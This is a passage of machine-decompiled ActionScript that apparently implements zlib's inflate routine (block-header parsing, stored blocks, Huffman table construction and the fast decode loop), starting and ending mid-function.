_loc67_ = li32(_loc65_ + 16);
if(_loc67_ != 0)
{
_loc53_ = li32(_loc65_ + 24);
_loc5_ = int(_loc5_ - 16);
si32(_loc43_,_loc5_ + 4);
_loc41_ = int(li32(_loc65_ + 20) - _loc62_);
_loc51_ = int(_loc67_ + _loc41_);
si32(_loc51_,_loc5_);
_loc65_ = int(_loc53_ - _loc41_);
_loc51_ = int(_loc41_ + _loc50_);
if(uint(_loc51_) <= uint(_loc53_))
{
_loc65_ = _loc50_;
}
si32(_loc65_,_loc5_ + 8);
ESP = _loc5_;
Fmemcpy();
_loc5_ = int(_loc5_ + 16);
_loc46_ = li32(_loc48_ + 16);
}
}
_loc53_ = _loc46_ & 512;
if(_loc53_ != 0)
{
_loc5_ = int(_loc5_ - 16);
si32(_loc50_,_loc5_ + 8);
si32(_loc43_,_loc5_ + 4);
si32(li32(_loc48_ + 24),_loc5_);
ESP = _loc5_;
F_crc32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
}
_loc53_ = li32(_loc48_ + 64);
_loc62_ = int(_loc53_ - _loc50_);
si32(_loc62_,_loc48_ + 64);
_loc43_ = int(_loc43_ + _loc50_);
_loc54_ = int(_loc54_ - _loc50_);
}
_loc50_ = _loc58_;
_loc65_ = _loc54_;
if(_loc62_ == 0)
{
}
}
si32(0,_loc48_ + 64);
si32(6,_loc48_);
_loc50_ = _loc58_;
§§goto(addr3219);
}
else if(_loc46_ <= 10)
{
if(_loc46_ <= 8)
{
if(_loc46_ != 7)
{
if(_loc46_ != 8)
{
§§goto(addr9328);
}
}
else
{
§§goto(addr3435);
}
§§goto(addr3651);
}
else if(_loc46_ != 9)
{
if(_loc46_ != 10)
{
§§goto(addr9328);
}
else
{
addr3897:
_loc53_ = li32(_loc48_ + 12);
if(_loc53_ == 0)
{
break;
}
_loc5_ = int(_loc5_ - 16);
si32(0,_loc5_ + 8);
si32(0,_loc5_ + 4);
si32(0,_loc5_);
ESP = _loc5_;
F_adler32();
_loc5_ = int(_loc5_ + 16);
_loc53_ = int(eax);
si32(_loc53_,_loc48_ + 24);
si32(_loc53_,_loc68_ - 1080);
si32(11,_loc48_);
addr3984:
_loc53_ = li32(_loc48_ + 4);
if(_loc53_ != 0)
{
si32(26,_loc48_);
_loc50_ = int(_loc50_ >>> (_loc52_ & 7));
_loc52_ = _loc52_ & -8;
}
else
{
while(uint(_loc52_) < 3)
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
_loc53_ = _loc50_ & 1;
si32(_loc53_,_loc48_ + 4);
_loc53_ = int(_loc50_ >>> 1);
_loc65_ = _loc53_ & 3;
if(_loc65_ <= 1)
{
if(_loc65_ != 0)
{
if(_loc65_ == 1)
{
si32(_lenfix_2E_2366,_loc48_ + 76);
si32(9,_loc48_ + 84);
si32(_distfix_2E_2367,_loc48_ + 80);
si32(5,_loc48_ + 88);
si32(19,_loc48_);
}
}
else
{
si32(13,_loc48_);
}
}
else if(_loc65_ != 2)
{
if(_loc65_ == 3)
{
si32(29,_loc48_);
}
}
else
{
si32(16,_loc48_);
}
_loc52_ = int(_loc52_ + -3);
_loc50_ = int(_loc50_ >>> 3);
}
continue;
}
}
else
{
while(true)
{
if(uint(_loc52_) >= 32)
{
_loc51_ = int(_loc50_ >>> 8);
_loc51_ = _loc51_ & 65280;
_loc41_ = _loc50_ << 8;
_loc51_ = _loc50_ << 24 | _loc41_ & 16711680;
_loc53_ = _loc51_ | (_loc51_ | int(_loc50_ >>> 24));
si32(_loc53_,_loc48_ + 24);
si32(_loc53_,_loc68_ - 1080);
si32(10,_loc48_);
_loc52_ = 0;
_loc50_ = _loc52_;
§§goto(addr3897);
}
else
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc43_ = int(_loc43_ + 1);
_loc54_ = int(_loc54_ + -1);
continue;
}
}
}
}
}
else
{
if(_loc46_ <= 13)
{
_loc53_ = int(_loc46_ + -11);
if(uint(_loc53_) >= 2)
{
if(_loc46_ != 13)
{
§§goto(addr9328);
}
else
{
_loc50_ = int(_loc50_ >>> (_loc52_ & 7));
_loc52_ = _loc52_ & -8;
while(true)
{
if(uint(_loc52_) >= 32)
{
_loc65_ = _loc50_ & 65535;
_loc53_ = int(_loc50_ >>> 16);
if(_loc65_ != (_loc53_ ^ 65535))
{
si32(29,_loc48_);
continue loop7;
}
si32(_loc65_,_loc48_ + 64);
si32(14,_loc48_);
_loc52_ = 0;
_loc50_ = _loc52_;
}
else
{
_loc65_ = 0;
if(_loc54_ != 0)
{
_loc53_ = li8(_loc43_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc54_ = int(_loc54_ + -1);
_loc43_ = int(_loc43_ + 1);
continue;
}
}
}
}
}
else
{
§§goto(addr3984);
}
}
else
{
if(_loc46_ != 14)
{
_loc65_ = _loc54_;
if(_loc46_ != 15)
{
§§goto(addr9328);
}
}
addr4233:
_loc58_ = li32(_loc48_ + 64);
if(_loc58_ != 0)
{
_loc54_ = _loc65_;
if(uint(_loc58_) <= uint(_loc65_))
{
_loc54_ = _loc58_;
}
_loc58_ = _loc56_;
if(uint(_loc54_) <= uint(_loc56_))
{
_loc58_ = _loc54_;
}
if(_loc58_ != 0)
{
_loc5_ = int(_loc5_ - 16);
si32(_loc43_,_loc5_ + 4);
si32(_loc60_,_loc5_);
si32(_loc58_,_loc5_ + 8);
ESP = _loc5_;
Fmemcpy();
_loc5_ = int(_loc5_ + 16);
_loc53_ = li32(_loc48_ + 64);
_loc53_ = int(_loc53_ - _loc58_);
si32(_loc53_,_loc48_ + 64);
_loc60_ = int(_loc60_ + _loc58_);
_loc56_ = int(_loc56_ - _loc58_);
_loc43_ = int(_loc43_ + _loc58_);
_loc54_ = int(_loc65_ - _loc58_);
continue;
}
}
else
{
si32(11,_loc48_);
_loc54_ = _loc65_;
continue;
}
}
si32(15,_loc48_);
_loc65_ = _loc54_;
§§goto(addr4233);
}
}
else if(_loc46_ <= 22)
{
if(_loc46_ <= 18)
{
if(_loc46_ != 16)
{
if(_loc46_ != 17)
{
if(_loc46_ != 18)
{
§§goto(addr9328);
}
else
{
_loc67_ = li32(_loc48_ + 104);
addr4711:
loop29:
while(true)
{
_loc65_ = _loc67_;
_loc58_ = li32(_loc48_ + 96);
_loc53_ = li32(_loc48_ + 100);
_loc46_ = int(_loc53_ + _loc58_);
if(uint(_loc65_) < uint(_loc46_))
{
_loc53_ = 1 << li32(_loc48_ + 84);
_loc67_ = int(_loc53_ + -1);
_loc6_ = li32(_loc48_ + 76);
_loc58_ = 0;
while(true)
{
_loc53_ = _loc50_ & _loc67_;
_loc53_ = _loc53_ << 2;
_loc7_ = _loc6_ + _loc53_;
_loc62_ = li8(_loc7_ + 1);
if(uint(_loc62_) > uint(_loc52_))
{
if(_loc54_ != _loc58_)
{
_loc53_ = int(_loc43_ + _loc58_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc58_ = int(_loc58_ + 1);
continue;
}
_loc43_ = int(_loc43_ + _loc58_);
_loc65_ = 0;
}
else
{
_loc67_ = li16(_loc7_ + 2);
_loc6_ = _loc67_ & 65535;
if(uint(_loc6_) <= 15)
{
_loc6_ = int(_loc43_ + _loc58_);
_loc46_ = 0;
while(true)
{
_loc43_ = int(_loc54_ + _loc46_);
if(uint(_loc62_) <= uint(_loc52_))
{
break;
}
if(_loc43_ != _loc58_)
{
_loc53_ = int(_loc6_ - _loc46_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc46_ = int(_loc46_ + -1);
continue;
}
_loc43_ = int(_loc6_ - _loc46_);
_loc65_ = 0;
}
si16(_loc67_,int(_loc48_ + (_loc65_ << 1)) + 112);
_loc67_ = int(_loc65_ + 1);
si32(_loc67_,_loc48_ + 104);
_loc52_ = int(_loc52_ - _loc62_);
_loc50_ = int(_loc50_ >>> _loc62_);
_loc54_ = int(_loc43_ - _loc58_);
_loc43_ = int(_loc6_ - _loc46_);
continue loop29;
}
if(_loc6_ != 17)
{
if(_loc6_ == 16)
{
_loc7_ = _loc43_ + _loc58_;
_loc6_ = int(_loc62_ + 2);
_loc43_ = 0;
while(true)
{
_loc67_ = int(_loc54_ + _loc43_);
if(uint(_loc6_) <= uint(_loc52_))
{
break;
}
if(_loc67_ != _loc58_)
{
_loc53_ = int(_loc7_ - _loc43_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc43_ = int(_loc43_ + -1);
continue;
}
_loc43_ = int(_loc7_ - _loc43_);
_loc65_ = 0;
}
_loc6_ = int(_loc50_ >>> _loc62_);
if(_loc65_ == 0)
{
si32(29,_loc48_);
_loc52_ = int(_loc52_ - _loc62_);
_loc54_ = int(_loc67_ - _loc58_);
_loc43_ = int(_loc7_ - _loc43_);
_loc50_ = _loc6_;
break loop29;
}
_loc43_ = int(_loc7_ - _loc43_);
_loc54_ = int(_loc67_ - _loc58_);
_loc53_ = int(_loc52_ - _loc62_);
_loc52_ = int(_loc53_ + -2);
_loc53_ = _loc65_ << 1;
_loc53_ = int(_loc53_ + _loc48_);
_loc58_ = li16(_loc53_ + 110);
_loc50_ = int(_loc6_ >>> 2);
_loc53_ = _loc6_ & 3;
_loc62_ = int(_loc53_ + 3);
addr5225:
_loc67_ = int(_loc62_ + _loc65_);
if(uint(_loc67_) <= uint(_loc46_))
{
_loc46_ = int(_loc45_ + (_loc65_ << 1));
_loc65_ = int(_loc65_ + 1);
do
{
si16(_loc58_,_loc46_);
si32(_loc65_,_loc48_ + 104);
_loc46_ = int(_loc46_ + 2);
_loc65_ = int(_loc65_ + 1);
_loc62_ = int(_loc62_ + -1);
}
while(_loc62_ != 0);
continue loop29;
}
si32(29,_loc48_);
break loop29;
}
_loc6_ = int(_loc43_ + _loc58_);
_loc7_ = _loc62_ + 7;
_loc67_ = 0;
while(true)
{
_loc43_ = int(_loc54_ + _loc67_);
if(uint(_loc7_) <= uint(_loc52_))
{
break;
}
if(_loc43_ != _loc58_)
{
_loc53_ = int(_loc6_ - _loc67_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc67_ = int(_loc67_ + -1);
continue;
}
_loc43_ = int(_loc6_ - _loc67_);
_loc65_ = 0;
}
_loc54_ = int(_loc43_ - _loc58_);
_loc43_ = int(_loc6_ - _loc67_);
_loc53_ = int(-7 - _loc62_);
_loc52_ = int(_loc53_ + _loc52_);
_loc53_ = int(_loc50_ >>> _loc62_);
_loc50_ = int(_loc53_ >>> 7);
_loc53_ = _loc53_ & 127;
_loc62_ = int(_loc53_ + 11);
_loc58_ = 0;
§§goto(addr5225);
}
else
{
_loc7_ = _loc43_ + _loc58_;
_loc6_ = int(_loc62_ + 3);
_loc67_ = 0;
while(true)
{
_loc43_ = int(_loc54_ + _loc67_);
if(uint(_loc6_) <= uint(_loc52_))
{
break;
}
if(_loc43_ != _loc58_)
{
_loc53_ = int(_loc7_ - _loc67_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc67_ = int(_loc67_ + -1);
continue;
}
_loc43_ = int(_loc7_ - _loc67_);
_loc65_ = 0;
}
_loc54_ = int(_loc43_ - _loc58_);
_loc43_ = int(_loc7_ - _loc67_);
_loc53_ = int(-3 - _loc62_);
_loc52_ = int(_loc53_ + _loc52_);
_loc53_ = int(_loc50_ >>> _loc62_);
_loc50_ = int(_loc53_ >>> 3);
_loc53_ = _loc53_ & 7;
_loc62_ = int(_loc53_ + 3);
_loc58_ = 0;
§§goto(addr5225);
}
}
}
}
else
{
_loc53_ = li32(_loc48_);
if(_loc53_ != 29)
{
_loc53_ = li16(_loc48_ + 624);
if(_loc53_ == 0)
{
si32(29,_loc48_);
break;
}
si32(_loc66_,_loc48_ + 108);
si32(_loc66_,_loc48_ + 76);
si32(9,_loc48_ + 84);
_loc5_ = int(_loc5_ - 32);
si32(_loc47_,_loc5_ + 20);
si32(_loc39_,_loc5_ + 16);
si32(_loc33_,_loc5_ + 12);
si32(_loc58_,_loc5_ + 8);
si32(_loc45_,_loc5_ + 4);
si32(1,_loc5_);
ESP = _loc5_;
F_inflate_table();
_loc5_ = int(_loc5_ + 32);
_loc61_ = int(eax);
if(_loc61_ != 0)
{
si32(29,_loc48_);
break;
}
_loc53_ = li32(_loc48_ + 108);
si32(_loc53_,_loc48_ + 80);
si32(6,_loc48_ + 88);
_loc5_ = int(_loc5_ - 32);
si32(_loc47_,_loc5_ + 20);
si32(_loc37_,_loc5_ + 16);
si32(_loc33_,_loc5_ + 12);
si32(li32(_loc48_ + 100),_loc5_ + 8);
si32(2,_loc5_);
_loc53_ = int(_loc48_ + (li32(_loc48_ + 96) << 1));
_loc53_ = int(_loc53_ + 112);
si32(_loc53_,_loc5_ + 4);
ESP = _loc5_;
F_inflate_table();
_loc5_ = int(_loc5_ + 32);
_loc61_ = int(eax);
if(_loc61_ != 0)
{
si32(29,_loc48_);
break;
}
addr5516:
addr5520:
si32(19,_loc48_);
_loc61_ = 0;
si32(20,_loc48_);
if(uint(_loc54_) >= 6)
{
if(uint(_loc56_) >= 258)
{
si32(_loc60_,_loc68_ - 1116);
si32(_loc56_,_loc68_ - 1112);
si32(_loc43_,_loc68_ - 1128);
si32(_loc54_,_loc35_);
si32(_loc50_,_loc48_ + 56);
si32(_loc52_,_loc48_ + 60);
_loc50_ = li32(_loc68_ - 1100);
_loc53_ = li32(_loc50_ + 40);
_loc62_ = li32(_loc50_ + 52);
_loc9_ = int(_loc62_ + _loc53_);
_loc7_ = _loc60_ + (int(_loc56_ + (_loc64_ ^ -1)));
_loc67_ = li32(_loc50_ + 48);
_loc65_ = int(_loc7_ - _loc67_);
_loc58_ = int(_loc62_ + _loc67_);
_loc6_ = int(_loc62_ + (int(_loc53_ - _loc7_)));
_loc46_ = int(_loc53_ + -1);
_loc52_ = int(_loc67_ + _loc46_);
_loc53_ = int(_loc56_ + _loc60_);
_loc56_ = int(_loc53_ + -258);
_loc8_ = int(0 - _loc7_);
_loc53_ = int(_loc54_ + _loc43_);
_loc54_ = int(_loc53_ + -6);
_loc53_ = 1 << li32(_loc50_ + 88);
_loc11_ = _loc53_ + -1;
_loc53_ = 1 << li32(_loc50_ + 84);
_loc10_ = _loc53_ + -1;
_loc13_ = int(_loc60_ + -1);
_loc12_ = int(_loc43_ + -1);
_loc15_ = li32(_loc50_ + 80);
_loc14_ = li32(_loc50_ + 76);
_loc17_ = li32(_loc50_ + 60);
_loc19_ = li32(_loc50_ + 56);
_loc18_ = li32(_loc50_ + 44);
_loc60_ = int(_loc67_ + -1);
_loc43_ = int(_loc62_ + -1);
loop14:
while(true)
{
if(uint(_loc17_) <= 14)
{
_loc53_ = li8(_loc12_ + 2);
_loc51_ = li8(_loc12_ + 1);
_loc51_ = _loc51_ << _loc17_;
_loc51_ = int(_loc51_ + _loc19_);
_loc19_ = int(_loc51_ + (_loc53_ << int(_loc17_ + 8)));
_loc17_ = int(_loc17_ + 16);
_loc12_ = int(_loc12_ + 2);
}
_loc21_ = _loc19_ & _loc10_;
loop15:
while(true)
{
_loc53_ = _loc21_ << 2;
_loc51_ = int(_loc14_ + _loc53_);
_loc53_ = li8(_loc51_ + 1);
_loc17_ = int(_loc17_ - _loc53_);
_loc19_ = int(_loc19_ >>> _loc53_);
_loc20_ = li8(_loc51_);
_loc21_ = li16(_loc51_ + 2);
if(_loc20_ == 0)
{
si8(_loc21_,_loc13_ + 1);
_loc13_ = int(_loc13_ + 1);
_loc20_ = _loc19_;
_loc23_ = _loc12_;
}
else
{
_loc53_ = _loc20_ & 16;
if(_loc53_ != 0)
{
_loc20_ = _loc20_ & 15;
if(_loc20_ != 0)
{
if(uint(_loc17_) < uint(_loc20_))
{
_loc53_ = li8(_loc12_ + 1);
_loc53_ = _loc53_ << _loc17_;
_loc19_ = int(_loc53_ + _loc19_);
_loc17_ = int(_loc17_ + 8);
_loc12_ = int(_loc12_ + 1);
}
_loc17_ = int(_loc17_ - _loc20_);
_loc53_ = int(_loc19_ >>> _loc20_);
_loc51_ = 1 << _loc20_;
_loc51_ = int(_loc51_ + -1);
_loc51_ = _loc19_ & _loc51_;
_loc21_ = int(_loc51_ + _loc21_);
_loc19_ = _loc53_;
}
if(uint(_loc17_) <= 14)
{
_loc53_ = li8(_loc12_ + 2);
_loc51_ = li8(_loc12_ + 1);
_loc51_ = _loc51_ << _loc17_;
_loc51_ = int(_loc51_ + _loc19_);
_loc19_ = int(_loc51_ + (_loc53_ << int(_loc17_ + 8)));
_loc17_ = int(_loc17_ + 16);
_loc12_ = int(_loc12_ + 2);
}
_loc20_ = _loc19_ & _loc11_;
while(true)
{
_loc53_ = _loc20_ << 2;
_loc53_ = int(_loc15_ + _loc53_);
_loc51_ = li8(_loc53_ + 1);
_loc17_ = int(_loc17_ - _loc51_);
_loc19_ = int(_loc19_ >>> _loc51_);
_loc22_ = li16(_loc53_ + 2);
_loc20_ = li8(_loc53_);
_loc53_ = _loc20_ & 16;
if(_loc53_ != 0)
{
_loc25_ = _loc20_ & 15;
_loc20_ = _loc17_;
_loc23_ = _loc12_;
if(uint(_loc17_) < uint(_loc25_))
{
_loc53_ = li8(_loc12_ + 1);
_loc53_ = _loc53_ << _loc17_;
_loc19_ = int(_loc53_ + _loc19_);
_loc20_ = int(_loc17_ + 8);
_loc23_ = int(_loc12_ + 1);
if(uint(_loc20_) < uint(_loc25_))
{
_loc53_ = li8(_loc12_ + 2);
_loc53_ = _loc53_ << _loc20_;
_loc19_ = int(_loc53_ + _loc19_);
_loc20_ = int(_loc17_ + 16);
_loc23_ = int(_loc12_ + 2);
}
}
_loc24_ = int(_loc13_ - _loc7_);
_loc17_ = int(_loc20_ - _loc25_);
_loc20_ = int(_loc19_ >>> _loc25_);
_loc53_ = 1 << _loc25_;
_loc53_ = int(_loc53_ + -1);
_loc12_ = _loc19_ & _loc53_;
_loc19_ = int(_loc12_ + _loc22_);
if(uint(_loc19_) > uint(_loc24_))
{
_loc25_ = int(_loc19_ - _loc24_);
if(uint(_loc25_) > uint(_loc18_))
{
_loc53_ = li32(_loc50_ + 7104);
if(_loc53_ != 0)
{
si32(29,_loc50_);
break loop15;
}
}
if(_loc67_ == 0)
{
_loc26_ = int(_loc62_ + (int(_loc46_ - _loc25_)));
_loc30_ = _loc13_;
if(uint(_loc25_) < uint(_loc21_))
{
_loc53_ = int(_loc7_ + _loc12_);
_loc53_ = int(_loc53_ - _loc13_);
_loc26_ = int(_loc53_ + _loc22_);
_loc24_ = int(_loc13_ + 1);
do
{
_loc53_ = int(_loc9_ - _loc26_);
_loc53_ = li8(_loc53_);
si8(_loc53_,_loc24_);
_loc24_ = int(_loc24_ + 1);
_loc26_ = int(_loc26_ + -1);
}
while(_loc26_ != 0);
_loc51_ = int(_loc22_ + _loc7_);
_loc53_ = int(_loc51_ + (int(_loc12_ - _loc13_)));
_loc30_ = int(_loc13_ + _loc53_);
_loc26_ = int(_loc13_ + (int(_loc53_ - _loc19_)));
_loc21_ = int(_loc21_ - _loc25_);
}
}
else if(uint(_loc67_) < uint(_loc25_))
{
_loc24_ = int(_loc25_ - _loc67_);
_loc26_ = int(_loc62_ + (int(_loc52_ - _loc25_)));
_loc30_ = _loc13_;
if(uint(_loc24_) < uint(_loc21_))
{
_loc53_ = int(_loc6_ + (int(_loc13_ - _loc12_)));
_loc53_ = int(_loc53_ - _loc22_);
_loc30_ = int(_loc53_ + _loc67_);
_loc53_ = int(_loc8_ + _loc13_);
_loc53_ = int(_loc53_ - _loc12_);
_loc26_ = int(_loc67_ + (int(_loc53_ - _loc22_)));
_loc25_ = 0;
do
{
_loc53_ = int(_loc13_ - _loc25_);
_loc51_ = int(_loc30_ - _loc25_);
_loc51_ = li8(_loc51_);
si8(_loc51_,_loc53_ + 1);
_loc25_ = int(_loc25_ + -1);
}
while(_loc26_ != _loc25_);
_loc12_ = int(_loc12_ - _loc13_);
_loc53_ = int(_loc22_ + _loc65_);
_loc30_ = int(_loc13_ + (int(_loc53_ + _loc12_)));
_loc21_ = int(_loc21_ - _loc24_);
_loc26_ = _loc43_;
if(uint(_loc67_) < uint(_loc21_))
{
_loc53_ = int(_loc13_ + _loc65_);
_loc53_ = int(_loc53_ + _loc12_);
_loc53_ = int(_loc53_ + _loc22_);
_loc26_ = int(_loc53_ + 1);
_loc25_ = _loc62_;
_loc24_ = _loc67_;
do
{
_loc53_ = li8(_loc25_);
si8(_loc53_,_loc26_);
_loc26_ = int(_loc26_ + 1);
_loc25_ = int(_loc25_ + 1);
_loc24_ = int(_loc24_ + -1);
}
while(_loc24_ != 0);
_loc21_ = int(_loc21_ - _loc67_);
_loc53_ = int(_loc22_ + _loc7_);
_loc53_ = int(_loc53_ + _loc12_);
_loc30_ = int(_loc13_ + _loc53_);
_loc26_ = int(_loc13_ + (int(_loc53_ - _loc19_)));
}
}
}
else
{
_loc26_ = int(_loc62_ + (int(_loc60_ - _loc25_)));
_loc30_ = _loc13_;
if(uint(_loc25_) < uint(_loc21_))
{
_loc53_ = int(_loc7_ + _loc12_);
_loc53_ = int(_loc53_ - _loc13_);
_loc26_ = int(_loc53_ + _loc22_);
_loc24_ = int(_loc13_ + 1);
do
{
_loc53_ = int(_loc58_ - _loc26_);
_loc53_ = li8(_loc53_);
si8(_loc53_,_loc24_);
_loc24_ = int(_loc24_ + 1);
_loc26_ = int(_loc26_ + -1);
}
while(_loc26_ != 0);
_loc51_ = int(_loc22_ + _loc7_);
_loc53_ = int(_loc51_ + (int(_loc12_ - _loc13_)));
_loc30_ = int(_loc13_ + _loc53_);
_loc26_ = int(_loc13_ + (int(_loc53_ - _loc19_)));
_loc21_ = int(_loc21_ - _loc25_);
}
}
if(uint(_loc21_) >= 3)
{
_loc13_ = int(_loc30_ + 2);
_loc22_ = int(_loc26_ + 2);
do
{
_loc53_ = li8(_loc22_ - 1);
si8(_loc53_,_loc13_ - 1);
_loc53_ = li8(_loc22_);
si8(_loc53_,_loc13_);
_loc53_ = li8(_loc22_ + 1);
si8(_loc53_,_loc13_ + 1);
_loc21_ = int(_loc21_ + -3);
_loc13_ = int(_loc13_ + 3);
_loc22_ = int(_loc22_ + 3);
}
while(uint(_loc21_) > 2);
_loc30_ = int(_loc13_ + -2);
_loc26_ = int(_loc22_ + -2);
}
_loc13_ = _loc30_;
if(_loc21_ != 0)
{
_loc53_ = li8(_loc26_ + 1);
si8(_loc53_,_loc30_ + 1);
_loc13_ = int(_loc30_ + 1);
if(uint(_loc21_) >= 2)
{
_loc53_ = li8(_loc26_ + 2);
si8(_loc53_,_loc30_ + 2);
_loc13_ = int(_loc30_ + 2);
}
}
}
else
{
_loc25_ = int(2 - _loc12_);
_loc26_ = int(_loc25_ - _loc22_);
_loc29_ = 0 - _loc13_;
_loc32_ = _loc29_;
_loc31_ = _loc29_;
_loc36_ = _loc29_;
_loc34_ = _loc29_;
_loc19_ = _loc29_;
_loc13_ = _loc29_;
_loc12_ = _loc29_;
do
{
_loc30_ = _loc31_;
_loc40_ = _loc36_;
_loc38_ = _loc34_;
_loc24_ = _loc13_;
_loc53_ = int(_loc26_ - _loc29_);
_loc51_ = li8(_loc53_ - 1);
_loc41_ = int(1 - _loc29_);
si8(_loc51_,_loc41_);
_loc51_ = li8(_loc53_);
_loc41_ = int(2 - _loc29_);
si8(_loc51_,_loc41_);
_loc53_ = li8(_loc53_ + 1);
_loc51_ = int(3 - _loc29_);
si8(_loc53_,_loc51_);
_loc21_ = int(_loc21_ + -3);
_loc29_ = _loc29_ + -3;
_loc32_ = int(_loc32_ + -3);
_loc31_ = int(_loc30_ + -3);
_loc36_ = int(_loc40_ + -3);
_loc34_ = int(_loc38_ + -3);
_loc19_ = int(_loc19_ + -3);
_loc13_ = int(_loc24_ + -3);
_loc12_ = int(_loc12_ + -3);
}
while(uint(_loc21_) > 2);
_loc13_ = int(0 - _loc32_);
if(_loc21_ != 0)
{
_loc53_ = int(_loc25_ - _loc22_);
_loc53_ = int(_loc53_ - _loc30_);
si8(li8(_loc53_ + 2),int(4 - _loc38_));
_loc13_ = int(1 - _loc19_);
if(uint(_loc21_) >= 2)
{
_loc53_ = int(_loc25_ - _loc22_);
_loc53_ = int(_loc53_ - _loc40_);
si8(li8(_loc53_ + 3),int(5 - _loc24_));
_loc13_ = int(2 - _loc12_);
}
}
}
}
else
{
_loc53_ = _loc20_ & 64;
if(_loc53_ == 0)
{
_loc53_ = 1 << _loc20_;
_loc53_ = int(_loc53_ + -1);
_loc53_ = _loc53_ & _loc19_;
_loc20_ = int(_loc53_ + _loc22_);
continue;
}
si32(29,_loc50_);
_loc20_ = _loc19_;
_loc23_ = _loc12_;
break loop15;
}
}
}
else
{
_loc53_ = _loc20_ & 64;
if(_loc53_ == 0)
{
_loc53_ = 1 << _loc20_;
_loc53_ = int(_loc53_ + -1);
_loc53_ = _loc53_ & _loc19_;
_loc21_ = int(_loc53_ + _loc21_);
continue;
}
_loc53_ = _loc20_ & 32;
if(_loc53_ != 0)
{
si32(11,_loc50_);
_loc20_ = _loc19_;
_loc23_ = _loc12_;
break;
}
si32(29,_loc50_);
_loc20_ = _loc19_;
_loc23_ = _loc12_;
break;
}
}
if(uint(_loc23_) < uint(_loc54_))
{
_loc19_ = _loc20_;
_loc12_ = _loc23_;
if(uint(_loc13_) >= uint(_loc56_))
{
break;
}
continue loop14;
}
break;
}
_loc53_ = int(_loc17_ >>> 3);
_loc51_ = int(1 - _loc53_);
_loc43_ = int(_loc23_ + _loc51_);
si32(_loc43_,_loc68_ - 1128);
_loc60_ = int(_loc13_ + 1);
si32(_loc60_,_loc68_ - 1116);
_loc58_ = int(_loc23_ - _loc53_);
_loc52_ = _loc17_ & 7;
_loc53_ = 1 << _loc52_;
_loc53_ = int(_loc53_ + -1);
_loc65_ = _loc53_ & _loc20_;
if(uint(_loc58_) < uint(_loc54_))
{
_loc54_ = int(_loc54_ - _loc58_);
}
else
{
_loc54_ = int(_loc54_ - _loc58_);
}
_loc54_ = int(_loc54_ + 5);
si32(_loc54_,_loc35_);
if(uint(_loc13_) < uint(_loc56_))
{
_loc56_ = int(_loc56_ - _loc13_);
}
else
{
_loc56_ = int(_loc56_ - _loc13_);
}
_loc56_ = int(_loc56_ + 257);
si32(_loc56_,_loc68_ - 1112);
si32(_loc65_,_loc50_ + 56);
si32(_loc52_,_loc50_ + 60);
_loc52_ = li32(_loc48_ + 60);
_loc50_ = li32(_loc48_ + 56);
_loc53_ = li32(_loc48_);
if(_loc53_ == 11)
{
si32(-1,_loc48_ + 7108);
break loop29;
}
break loop29;
}
}
}
_loc46_ = 0;
si32(_loc46_,_loc48_ + 7108);
_loc53_ = li32(_loc48_ + 84);
_loc53_ = 1 << _loc53_;
_loc62_ = int(_loc53_ + -1);
_loc58_ = li32(_loc48_ + 76);
while(true)
{
_loc53_ = _loc50_ & _loc62_;
_loc53_ = _loc53_ << 2;
_loc67_ = int(_loc58_ + _loc53_);
_loc65_ = li8(_loc67_ + 1);
if(uint(_loc65_) > uint(_loc52_))
{
if(_loc54_ != _loc46_)
{
_loc53_ = int(_loc43_ + _loc46_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc46_ = int(_loc46_ + 1);
continue;
}
_loc43_ = int(_loc43_ + _loc46_);
_loc65_ = 0;
}
else
{
_loc62_ = li16(_loc67_ + 2);
_loc8_ = li8(_loc67_);
_loc6_ = int(_loc54_ - _loc46_);
_loc7_ = _loc43_ + _loc46_;
_loc9_ = 0;
_loc67_ = _loc9_;
if(_loc8_ != 0)
{
_loc9_ = 0;
_loc67_ = _loc8_;
if((_loc8_ & 240) == 0)
{
_loc7_ = _loc43_ + _loc46_;
_loc53_ = 1 << int(_loc65_ + _loc8_);
_loc67_ = int(_loc53_ + -1);
_loc9_ = 0;
while(true)
{
_loc6_ = int(_loc54_ + _loc9_);
_loc53_ = _loc50_ & _loc67_;
_loc53_ = int(_loc53_ >>> _loc65_);
_loc53_ = int(_loc53_ + _loc62_);
_loc53_ = _loc53_ << 2;
_loc8_ = int(_loc58_ + _loc53_);
_loc43_ = li8(_loc8_ + 1);
_loc53_ = int(_loc43_ + _loc65_);
if(uint(_loc53_) > uint(_loc52_))
{
if(_loc6_ != _loc46_)
{
_loc53_ = int(_loc7_ - _loc9_);
_loc53_ = li8(_loc53_);
_loc53_ = _loc53_ << _loc52_;
_loc50_ = int(_loc53_ + _loc50_);
_loc52_ = int(_loc52_ + 8);
_loc9_ = int(_loc9_ + -1);
continue;
}
_loc43_ = int(_loc7_ - _loc9_);
_loc65_ = 0;
}
else
{
_loc67_ = li8(_loc8_);
_loc62_ = li16(_loc8_ + 2);
si32(_loc65_,_loc48_ + 7108);
